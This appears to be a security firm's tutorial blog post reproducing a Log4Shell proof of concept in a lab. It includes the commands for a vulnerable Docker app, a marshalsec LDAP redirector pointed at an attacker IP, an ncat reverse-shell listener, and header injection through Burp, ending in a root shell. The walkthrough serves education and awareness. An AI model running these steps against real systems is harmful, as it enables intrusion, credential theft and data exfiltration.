In our second installment of our series on Log4j, we’re going to be diving into the Log4Shell vulnerability, setting up a test environment, and executing a proof-of-concept exploit. Please note, this exercise is for educational purposes only, and is shared to spread awareness of the risk imposed by such a vulnerability. If you’re interested in following along, here are some items you’ll need:
· Two virtual machines (Attacker / Vulnerable Application) – We are using Ubuntu 20.04.3
· Java 8, Maven, Docker, Apache
· A vulnerable Log4j application – Purposely vulnerable Docker container found here
· A JNDI reference redirector – We’ll use one built by Mortiz Bechler found here
· A webserver to host our codebase – Pre-installed Apache service on Ubuntu
· BurpSuite – Can use the Community Edition found here
To begin, we’ll set up our purposefully vulnerable Log4j application. As stated, we are running two Ubuntu machines on a closed NAT network, so we’ll go ahead and designate one of them as our “Vulnerable Application” and start it up.
Once logged in, ensure Docker is installed. Next, we’ll go ahead and run our vulnerable application in a Docker container. Fortunately, there is already a vulnerable Docker image available, so we’ll go ahead and use that one. To run our container, execute the following command:
# docker run --name log4j-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
If successful, we should see the following docker output:
Next, we’ll go ahead and run our malicious codebase on the same server. To do this, we need to create our Java-based exploit, and have it accessible from our webserver. We’ll start by running our pre-installed Apache web server with the following command:
# service apache2 start
Next, we’ll navigate to its home directory:
# cd /var/www/html/
Once here, it’s time to place and compile our exploit. You can write this exploit in a number of ways, but we like the version supplied by SANS Internet Storm Center best. In this example, the vulnerable application is being tricked to fetch, and then execute this malicious Java class, which is in turn spawning a netcat shell back to our attacker-controlled machine. Be sure you modify the exploit to point to the IP and Port of the netcat listener on your attacker machine. Once satisfied with the exploit, go ahead compile it with:
# javac --release 8 Exploit.java
Now that our exploit is uploaded to the codebase, its time set up our attacking server.
In our separate Ubuntu machine, we’ll go ahead and set up our attacker environment. Primarily, this machine is going to host our JNDI redirection service, and our malicious netcat listener.
To set up the JNDI redirection service, head over to Moritz Bechler’s git repository found here. Follow the instructions for installation, and meet us back here. We’re going to execute the attack over LDAP, so we can run the service with the following command:
$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.31.129/#Exploit" 5060
Where the http URL is the location of our Exploit.class, and 5060 is the port we are listening for JNDI lookups.
Next we’ll set up our netcat listener. To do that, run the following command:
# ncat -klvp 444
Make sure the port number corresponds to the one listed in our Exploit.class, in this case, its 444. After this is setup, we are ready to execute our attack.
First, open up a BurpSuite temporary project. Next, navigate to the vulnerable application through Burp’s Proxy Browser. In the proxy intercept tab, you should see a request similar to this one:
We’ll now modify the request with our malicious payload. In this case, we’ll add ‘X-Api-Version’ header, with our payload as the value. Our payload is the JNDI lokoup to our redirection server on our attacker machine. Make sure this matches the IP and port of your redirection server.
We can now go ahead and forward the request, and should see the following results: Our JNDI redirection service pointing the application to our hosted codebase.
Successful reverse shell connection to our nectar listener.
Congratulations! We now have a root shell on the web application server. From here, an attacker can pivot furhter into the environment, harvest credentials, or extract confidential informaition.
If you think you might be vulnerable to Log4Shell, don't hesitate, contact us and schedule a free consultation. For more information on how to protect yourself from this attack, see our most recent blog post.
